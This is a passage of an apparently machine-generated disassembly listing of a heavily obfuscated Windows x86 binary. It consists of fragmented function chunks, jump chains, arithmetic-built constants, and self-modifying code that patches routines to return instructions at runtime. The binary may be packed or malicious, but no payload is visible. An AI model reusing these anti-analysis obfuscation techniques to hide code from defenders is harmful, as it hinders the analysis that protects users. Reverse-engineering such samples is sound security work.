		adc	ebp, 0E422A183h

loc_43D202:				; CODE XREF: y22d6.y.:loc_443FE5j
		jmp	loc_44747B
; ---------------------------------------------------------------------------

loc_43D207:				; CODE XREF: sub_4432B8:loc_4433CAj
		cmp	eax, edi
		jmp	loc_437F19
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_43D20E	proc near		; CODE XREF: y22d6.y.:0043B695j
					; sub_4385ED:loc_44C149p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00437BDF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00438284 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00439806 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439B10 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439C1A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00439D4F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043AB7C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043B503 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043B66E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BA3F SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0043EB0F SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0043F29E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F80A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00440FD6 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00441958 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044228C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443009 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444933 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444DE2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445DAC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447165 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448B23 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00449972 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044C161 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044C416 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044CBB1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044DC15 SIZE 0000001E BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	edx, [edx+1Ch]
		add	edx, [ebp-4]
		jmp	loc_444933
sub_43D20E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43D21D:				; CODE XREF: y22d6.y.:loc_448CE7j
		ja	loc_44DE7F
		jmp	loc_4485C7
; ---------------------------------------------------------------------------

loc_43D228:				; DATA XREF: sub_4438A8+16o
		add	eax, 0B71E98F1h
		add	eax, ebp
		add	eax, 8C7ACB5Ah
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43BF2C
		jmp	loc_4402E0

; =============== S U B	R O U T	I N E =======================================



sub_43D246	proc near		; CODE XREF: y22d6.y.:00438943j
					; y22d6.y.:00440E70p

; FUNCTION CHUNK AT 0044D6E1 SIZE 00000014 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	0A00BEAE0h
		pop	edx
		and	edx, 7CC825B3h
		xor	edx, 63DD6A1Bh
		add	edx, 2FB1C8A4h
		jmp	loc_44D6E1
sub_43D246	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_307. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43704E

loc_43D268:				; CODE XREF: sub_43704E+147E8j
		jmp	loc_444D22
; END OF FUNCTION CHUNK	FOR sub_43704E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_43D26E:				; CODE XREF: sub_44B1D2-B03j
		jmp	loc_447FF0
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B39

loc_43D273:				; CODE XREF: sub_438B39+ABCj
		adc	esi, 0C093A736h
		jmp	loc_439AEE
; END OF FUNCTION CHUNK	FOR sub_438B39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441E5C

loc_43D27E:				; CODE XREF: sub_441E5C:loc_43EB58j
		mov	ebx, ecx
		pop	ecx
		and	ebx, 0BA92E770h
		add	ebx, 0AC10BC81h
		and	ebx, 0C5F3AC3Fh
		jmp	loc_4453D1
; END OF FUNCTION CHUNK	FOR sub_441E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43D298:				; CODE XREF: sub_4432B8+4725j
		mov	esi, [ebx]
		sub	edi, 723D0A86h
		jmp	loc_43F2A3
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A735

loc_43D2A5:				; CODE XREF: sub_43A735+10604j
		jl	loc_448FB9

loc_43D2AB:				; CODE XREF: sub_43E953+3978j
		jmp	nullsub_161
; END OF FUNCTION CHUNK	FOR sub_43A735
; ---------------------------------------------------------------------------
		sub	ebx, 0AA7DBC1Fh
		test	edx, ebp

loc_43D2B8:				; CODE XREF: y22d6.y.:loc_4495A7j
		jmp	loc_448FB1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43D2BE:				; CODE XREF: y22d6.y.:0043A8EAj
		pop	eax
		add	eax, 5E1F7BBFh
		sub	eax, 0C6B79A7Ah
		rol	eax, 19h
		cmp	eax, 4BA6B336h
		jmp	loc_44A196
; ---------------------------------------------------------------------------
		db 0Fh,	86h, 51h
		dd 8700005Fh, 52582404h, 445AC768h, 0B640E900h
					; CODE XREF: y22d6.y.:loc_4498FFp
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_43D2EE:				; CODE XREF: sub_43B98D:loc_443F98j
		jz	loc_449515
		jmp	loc_43A9D2
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43D2F9:				; CODE XREF: sub_448EB6:loc_4428A5j
		push	offset sub_44BF91
		jmp	nullsub_296
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A46F

loc_43D303:				; CODE XREF: sub_44A46F:loc_44C7CFj
		mov	ebp, esp
		push	ebx
		mov	ebx, ecx
		push	offset sub_437FD8
		jmp	loc_43958B
; END OF FUNCTION CHUNK	FOR sub_44A46F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA69

loc_43D312:				; CODE XREF: sub_44AA69-4B0Fj
		mov	eax, esp
		call	sub_448AF8

loc_43D319:				; CODE XREF: sub_4432B8-60C2j
		xor	ebp, 6D9CFACFh
		jmp	loc_443134
; END OF FUNCTION CHUNK	FOR sub_44AA69
; ---------------------------------------------------------------------------

loc_43D324:				; CODE XREF: y22d6.y.:0043C0D9j
		pop	edx
		xor	edx, 0F7BA6B4Eh
		sub	edx, 942E3A98h
		rol	edx, 10h
		test	edx, 800000h
		jmp	loc_43C7DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444E14

loc_43D33F:				; CODE XREF: sub_444E14:loc_440071j
		call	sub_447BB2
; END OF FUNCTION CHUNK	FOR sub_444E14
; START	OF FUNCTION CHUNK FOR sub_448006

loc_43D344:				; CODE XREF: sub_448006+7j
		jmp	loc_43ADCD
; END OF FUNCTION CHUNK	FOR sub_448006
; ---------------------------------------------------------------------------
		jnp	loc_43B570
		jmp	sub_4444B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E63C

loc_43D354:				; CODE XREF: sub_44E63C+20j
		mov	[esi], eax
		pop	esi
		push	400h
		mov	eax, [ebp-8]
		push	eax
		push	6950E4Fh
		pop	eax
		rol	eax, 0Dh
		jmp	loc_43FEA2
; END OF FUNCTION CHUNK	FOR sub_44E63C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_43D36E:				; CODE XREF: sub_44271A:loc_44451Cj
		jge	loc_449A76
; END OF FUNCTION CHUNK	FOR sub_44271A
; START	OF FUNCTION CHUNK FOR sub_43FBC3

loc_43D374:				; CODE XREF: sub_43FBC3:loc_441743j
		jmp	loc_439F8E
; END OF FUNCTION CHUNK	FOR sub_43FBC3
; ---------------------------------------------------------------------------
		jle	loc_43B906
		sbb	edx, 7DC5649Bh
		cmp	eax, 6E9FF623h
		jmp	loc_437E84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43D390:				; CODE XREF: sub_4432B8:loc_4474AEj
		push	86E0BECh
		pop	edi
		or	edi, 8922F55Ch
		sub	edi, 0B3C991B5h
		xor	edi, 0D5A56E47h
		xchg	edi, [esp+0Ch+var_C]
		push	offset sub_438DAA
		jmp	loc_438F74
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_43D3B5:				; CODE XREF: sub_44BCC2:loc_447A53j
		sub	esi, 9DA765BEh
		add	esi, 9DEF5402h
		xchg	esi, [esp+8+var_8]
		jmp	loc_44C3E6
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
		call	sub_447CBE
		mov	dword ptr [ebp-4], 1
		jmp	loc_440B41
; ---------------------------------------------------------------------------

loc_43D3DA:				; DATA XREF: sub_441DC7-634Eo
		jz	loc_43DECE
		cmp	eax, 0FFFFFFFFh
		jz	loc_43DECE
		mov	eax, [eax]
		jmp	loc_43AD5A
; ---------------------------------------------------------------------------
		adc	edx, ebp
		jmp	sub_43D65C
; ---------------------------------------------------------------------------
		push	edi
		push	0BAB10096h
		pop	edi
		sub	edi, ds:4000E3h
		or	edi, 0A6BA8062h
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43D40A:				; CODE XREF: sub_449641-BF39j
		jmp	loc_43A0BF
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
		test	edi, ebp
		jmp	loc_4424A6
; ---------------------------------------------------------------------------

loc_43D416:				; CODE XREF: y22d6.y.:00449B6Ej
		jz	loc_443EC4
		jmp	loc_441BAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44825F

loc_43D421:				; CODE XREF: sub_44825F+8j
		call	sub_44C758
		mov	eax, 1C5E06BAh
		call	sub_43CA1A
		push	edx
		push	67139285h
		pop	edx
		or	edx, 9AA7A9ACh
		xor	edx, ds:4000E1h
		jmp	loc_43FB22
; END OF FUNCTION CHUNK	FOR sub_44825F

; =============== S U B	R O U T	I N E =======================================



sub_43D448	proc near		; CODE XREF: sub_44D19A+9j

var_4		= dword	ptr -4

		push	ebx
		push	4004F685h
		pop	ebx
		or	ebx, 0A13F2D9Ah
		add	ebx, 1F041462h
		xchg	ebx, [esp+4+var_4]
		jmp	sub_44D088
sub_43D448	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43734D

loc_43D463:				; CODE XREF: sub_43734D:loc_441310j
		push	7C8B316Fh
		push	offset loc_448FC9
		jmp	loc_438036
; END OF FUNCTION CHUNK	FOR sub_43734D
; ---------------------------------------------------------------------------
		mov	eax, 11C9A2C5h
		call	sub_43CA1A
		mov	ds:off_41E140, eax
		lea	eax, sub_44C980
		mov	byte ptr [eax],	0C3h
; START	OF FUNCTION CHUNK FOR sub_44E38B

loc_43D48B:				; CODE XREF: sub_44E38B:loc_444C7Cj
		jmp	sub_44C980
; END OF FUNCTION CHUNK	FOR sub_44E38B
; ---------------------------------------------------------------------------
		push	offset sub_4448C7
		jmp	locret_43BDCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A3E9

loc_43D49A:				; CODE XREF: sub_44A3E9:loc_449A33j
		lea	eax, sub_441A2B
		mov	byte ptr [eax],	0C3h
		jmp	sub_441A2B
; END OF FUNCTION CHUNK	FOR sub_44A3E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441A2B

loc_43D4A8:				; CODE XREF: sub_441A2Bj
		xchg	ebx, [esp+0]
		mov	edx, ebx
		pop	ebx
		mov	eax, [esp-4+arg_0]
		push	edi
		jmp	loc_44B57F
; END OF FUNCTION CHUNK	FOR sub_441A2B
; ---------------------------------------------------------------------------

loc_43D4B7:				; DATA XREF: sub_4396B2+1o
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		push	ebx
		push	722622E3h
		pop	ebx
		rol	ebx, 12h
		test	ebx, 100000h
		jmp	loc_4446D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394F3

loc_43D4D4:				; CODE XREF: y22d6.y.:loc_440AB6j
					; sub_4394F3:loc_443804j
		pop	ebx
		push	ebx
		push	0A7BAD00Bh
		pop	ebx
		and	ebx, 0E3507E4Dh
		jmp	loc_440F65
; END OF FUNCTION CHUNK	FOR sub_4394F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43837F

loc_43D4E7:				; CODE XREF: sub_43837F:loc_43A441j
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	loc_43D011

loc_43D4F4:				; CODE XREF: sub_43837F:loc_443C6Bj
					; y22d6.y.:00447A2Aj
		jb	loc_447302

loc_43D4FA:				; CODE XREF: y22d6.y.:00445F12j
		jmp	loc_43AC7E
; END OF FUNCTION CHUNK	FOR sub_43837F
; ---------------------------------------------------------------------------
		popf
		jmp	sub_43BC51
; ---------------------------------------------------------------------------

loc_43D505:				; CODE XREF: y22d6.y.:0043D96Ej
		pop	ecx
		rol	ecx, 0Ch
		add	ecx, 2409AF5Ch
		push	offset sub_444F74
		jmp	locret_44A682
; ---------------------------------------------------------------------------

loc_43D519:				; CODE XREF: y22d6.y.:loc_43B0BBj
		jz	loc_438C96
		jmp	loc_448D65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_43D524:				; CODE XREF: sub_44B1D2:loc_437A67j
		xchg	ebx, [esp+4+var_4]
		jmp	sub_43AC88
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------

loc_43D52C:				; CODE XREF: y22d6.y.:loc_43BC42j
		sub	ecx, 0F6619EF6h
		and	ecx, 0A636E0ACh
		jmp	loc_448866
; ---------------------------------------------------------------------------

loc_43D53D:				; CODE XREF: y22d6.y.:0043A824j
		jbe	loc_442A7C

; =============== S U B	R O U T	I N E =======================================



sub_43D543	proc near		; CODE XREF: sub_43C7C1:loc_44D1B3p
		xchg	ebx, [esp+0]
		pop	ebx
		mov	byte ptr [eax],	0C3h
		jmp	sub_43BCA9
sub_43D543	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	sub_44CD98	; GetVersionExA

loc_43D554:				; CODE XREF: y22d6.y.:00444114j
		xor	eax, 0F025FA9Bh
		call	sub_439096
; START	OF FUNCTION CHUNK FOR sub_448AF8

loc_43D55F:				; CODE XREF: sub_448AF8+541Aj
		jmp	loc_4459F4
; END OF FUNCTION CHUNK	FOR sub_448AF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4491D8

loc_43D564:				; CODE XREF: sub_4491D8-32E5j
		jmp	loc_44DEA3
; END OF FUNCTION CHUNK	FOR sub_4491D8
; ---------------------------------------------------------------------------
		not	esi
		jmp	loc_449CFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_43D570:				; CODE XREF: sub_44271A:loc_444AF9j
		cmp	eax, 0D5234EABh
		jmp	loc_44451C
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------

locret_43D57B:				; CODE XREF: y22d6.y.:loc_43CAB4j
		retn
; ---------------------------------------------------------------------------

loc_43D57C:				; CODE XREF: y22d6.y.:00442C01j
		jmp	loc_4432FB
; ---------------------------------------------------------------------------

loc_43D581:				; CODE XREF: y22d6.y.:00443A4Cj
		jns	loc_44DB42
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43D587:				; CODE XREF: sub_448EB6:loc_4451BCj
		sub	ebx, 172DAE39h
		xor	ebx, 5FC1C70Eh
		sub	eax, ebx
		jmp	loc_4428A5
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_43D59A	proc near		; DATA XREF: sub_448EB6-1804o

; FUNCTION CHUNK AT 00439CA7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043FD27 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E1A4 SIZE 00000019 BYTES

		call	sub_43CA1A
		push	edi
		mov	edi, ebx
		call	sub_44D534

loc_43D5A7:				; CODE XREF: y22d6.y.:00448508j
		jmp	loc_44E1A4
sub_43D59A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E242

loc_43D5AC:				; CODE XREF: sub_44E242-125B7j
		jmp	sub_43F7FF
; END OF FUNCTION CHUNK	FOR sub_44E242
; ---------------------------------------------------------------------------
		or	ebp, edx
		jmp	sub_44DB3E
; ---------------------------------------------------------------------------

loc_43D5B8:				; CODE XREF: y22d6.y.:0043E29Cj
		rol	ebp, 17h

; =============== S U B	R O U T	I N E =======================================



sub_43D5BB	proc near		; CODE XREF: sub_44A491:loc_44A494p

; FUNCTION CHUNK AT 0043A98D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043C415 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D898 SIZE 00000006 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ebx
		jmp	loc_43C415
sub_43D5BB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_43D5C5:				; CODE XREF: sub_44B17B:loc_439154j
		push	offset loc_43CF4B
		jmp	loc_44BD96
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_43D5CF:				; CODE XREF: sub_43B7B5+12j
		jz	loc_44CBDD
		jmp	loc_43E004
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------

loc_43D5DA:				; CODE XREF: y22d6.y.:0044C7A3j
		jnz	loc_43E1DB
		jmp	loc_44E11F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_43D5E5:				; CODE XREF: sub_44633F+5E97j
		jz	loc_4422D0
		jmp	loc_43A40C
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------

loc_43D5F0:				; CODE XREF: y22d6.y.:loc_43BA8Aj
		lea	eax, sub_43923C
		mov	byte ptr [eax],	0C3h
		jmp	loc_43A407

; =============== S U B	R O U T	I N E =======================================



sub_43D5FE	proc near		; CODE XREF: sub_41884B:loc_41889Fp
					; sub_4188C8:loc_418920p ...

; FUNCTION CHUNK AT 0044394F SIZE 00000005 BYTES

		push	offset sub_446F34
		jmp	loc_44394F
sub_43D5FE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C758

loc_43D608:				; CODE XREF: sub_44C758+4j
		mov	eax, ebx

loc_43D60A:				; CODE XREF: sub_43EC1C+3011j
		xchg	eax, [esp+4+var_4]
		mov	ebx, ecx
		xchg	ebx, [esp+4+var_4]
		jmp	loc_444F6F
; END OF FUNCTION CHUNK	FOR sub_44C758
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D6D0

loc_43D617:				; CODE XREF: y22d6.y.:0044178Bj
					; sub_44D6D0-1B32j
		jb	loc_44D3FB
		cmp	edi, edx
		jmp	loc_4414F7
; END OF FUNCTION CHUNK	FOR sub_44D6D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBF3

loc_43D624:				; CODE XREF: sub_43CBF3+7j
		or	ebx, 1B49C33Ch
		add	ebx, 0A0F8E0BAh
		xchg	ebx, [esp+4+var_4]
		jmp	loc_43AE86
; END OF FUNCTION CHUNK	FOR sub_43CBF3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_156. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A94

loc_43D639:				; CODE XREF: sub_438A94+F1BFj
		jmp	loc_448061
; END OF FUNCTION CHUNK	FOR sub_438A94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43D63E:				; CODE XREF: sub_448EB6:loc_4413FCj
		pop	edx
		pop	eax
		mov	ds:dword_444568, edx

loc_43D646:				; CODE XREF: y22d6.y.:00444EC0j
					; y22d6.y.:00446EF5j
		xchg	eax, edx
		call	sub_44D293
		jmp	loc_4407D7
; END OF FUNCTION CHUNK	FOR sub_448EB6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BF91

loc_43D652:				; CODE XREF: sub_44BF91-3A2Aj
		jmp	loc_437A93
; END OF FUNCTION CHUNK	FOR sub_44BF91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D7E0

loc_43D657:				; CODE XREF: sub_44D7E0-5D42j
		jmp	loc_44B67C
; END OF FUNCTION CHUNK	FOR sub_44D7E0

; =============== S U B	R O U T	I N E =======================================



sub_43D65C	proc near		; CODE XREF: sub_43B98D:loc_43BF51p
					; y22d6.y.:0043D3F2j
		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		push	offset loc_44CF2B
		jmp	nullsub_28
sub_43D65C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_43D670:				; CODE XREF: sub_44057E-2DA9j
		and	esi, 38ED30EBh
		xor	esi, 0FD3A94BFh
		add	esi, ebp
		add	esi, 26C4B73h
		mov	[esi], eax
		pop	esi
		call	sub_44B1D2

loc_43D68C:				; CODE XREF: sub_44A9F2+Aj
		jmp	loc_44DC55
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B01

loc_43D691:				; CODE XREF: sub_437B01+8682j
		jge	loc_449171

loc_43D697:				; CODE XREF: sub_437B01:loc_4381F6j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4397DE
		jmp	loc_447F44
; END OF FUNCTION CHUNK	FOR sub_437B01
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_261. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F501

loc_43D6A9:				; CODE XREF: sub_43F501:loc_4451E3j
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_43F501
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1BD

loc_43D6AB:				; CODE XREF: sub_44E1BD-1303Fj
		jmp	nullsub_268
; END OF FUNCTION CHUNK	FOR sub_44E1BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D371

loc_43D6B0:				; CODE XREF: y22d6.y.:00442604j
					; sub_44D371+8j
		rol	eax, 0Eh
		push	ecx
		mov	ecx, eax
		jmp	loc_4398D8
; END OF FUNCTION CHUNK	FOR sub_44D371
; ---------------------------------------------------------------------------

loc_43D6BB:				; CODE XREF: y22d6.y.:loc_43DD6Dj
		add	ecx, 9A5AC4h
		push	offset sub_444437
		jmp	loc_4494DC
; ---------------------------------------------------------------------------

loc_43D6CB:				; CODE XREF: y22d6.y.:loc_44D4F2j
		jnz	loc_444063
		jmp	loc_44BA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_43D6D6:				; CODE XREF: sub_439051+C92Dj
		jle	loc_445080

loc_43D6DC:				; CODE XREF: sub_439051:loc_43DCB5j
		mov	eax, 0DD70DD34h
		call	sub_43F7FF
		rol	eax, 19h
		push	esi
		push	5B4EED2Eh
		pop	esi
		or	esi, 947591B8h
		jmp	loc_4488CD
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
		and	edi, ecx
		jmp	loc_4433F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43D702:				; CODE XREF: sub_449641:loc_446199j
		jnb	loc_43FB62
		jns	loc_43D40A
		or	edx, ebp
		sbb	ecx, esi
		mov	edi, 4343745h

loc_43D717:				; CODE XREF: y22d6.y.:loc_442DA0j
		jmp	loc_448917
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446082

loc_43D71C:				; CODE XREF: sub_446082:loc_438664j
		sub	ecx, 0D7880499h
		jp	loc_443063
		mov	ebp, 0DCB3006Bh
		jmp	loc_43BE57
; END OF FUNCTION CHUNK	FOR sub_446082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_43D732:				; CODE XREF: sub_44B17B:loc_4400D0j
		lea	eax, nullsub_3
		mov	byte ptr [eax],	0C3h
		jmp	loc_43BA8F
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
		call	nullsub_16
		jmp	ds:dword_41E154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBF3

loc_43D74B:				; CODE XREF: sub_43CBF3+DB40j
		jmp	loc_44ACCD
; END OF FUNCTION CHUNK	FOR sub_43CBF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4482CF

loc_43D750:				; CODE XREF: sub_4482CF+Cj
		jmp	loc_44A505
; END OF FUNCTION CHUNK	FOR sub_4482CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443CB9

loc_43D755:				; CODE XREF: sub_443CB9+18j
		jmp	sub_43923C
; END OF FUNCTION CHUNK	FOR sub_443CB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A5AA

loc_43D75A:				; CODE XREF: sub_43A5AA+12j
		jmp	nullsub_322
; END OF FUNCTION CHUNK	FOR sub_43A5AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44371A

loc_43D75F:				; CODE XREF: sub_44371A-92BFj
		push	eax

loc_43D760:				; CODE XREF: sub_44370B:loc_44BA54j
		ror	eax, 0Eh
		mov	ds:dword_444B90, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_44371A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_43D76A:				; CODE XREF: sub_44271A-B3Cj
		jmp	loc_44AC93
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44371A

loc_43D76F:				; CODE XREF: sub_44371A+24B6j
					; sub_44DA4B-1E18j
		rol	eax, 0Eh
		jmp	loc_438031
; END OF FUNCTION CHUNK	FOR sub_44371A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD3D

loc_43D777:				; CODE XREF: sub_43AD3D:loc_43E897j
		mov	[edx], eax
		pop	edx
		mov	eax, [ebp-4]
		call	sub_440280
; END OF FUNCTION CHUNK	FOR sub_43AD3D
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_43D782:				; CODE XREF: sub_448C77+1D9Dj
		jmp	loc_44D9A7
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43D787:				; CODE XREF: sub_449641-648Fj
		jmp	loc_446193
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FCB6

loc_43D78C:				; CODE XREF: sub_43FCB6+13j
		jmp	nullsub_86
; END OF FUNCTION CHUNK	FOR sub_43FCB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD64

loc_43D791:				; CODE XREF: sub_43AD64-24F5j
		jmp	nullsub_83
; END OF FUNCTION CHUNK	FOR sub_43AD64

; =============== S U B	R O U T	I N E =======================================



sub_43D796	proc near		; CODE XREF: sub_446082-DA23p
					; y22d6.y.:004495C3j

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		xchg	ebx, [esp-4+arg_0]
		mov	ebp, ebx
		pop	ebx
		jmp	nullsub_29
sub_43D796	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43D7A5:				; CODE XREF: y22d6.y.:0044C182j
		jb	loc_44089E

; =============== S U B	R O U T	I N E =======================================



sub_43D7AB	proc near		; CODE XREF: sub_44ABAA-AAF6p

; FUNCTION CHUNK AT 00439C72 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		push	offset loc_437633
		jmp	loc_439C72
sub_43D7AB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_43D7BF:				; CODE XREF: sub_44057E:loc_441802j
		mov	eax, [ebp-28h]
		push	esi
		push	0EB9D9BE8h
		pop	esi
		add	esi, 82DA3FD8h
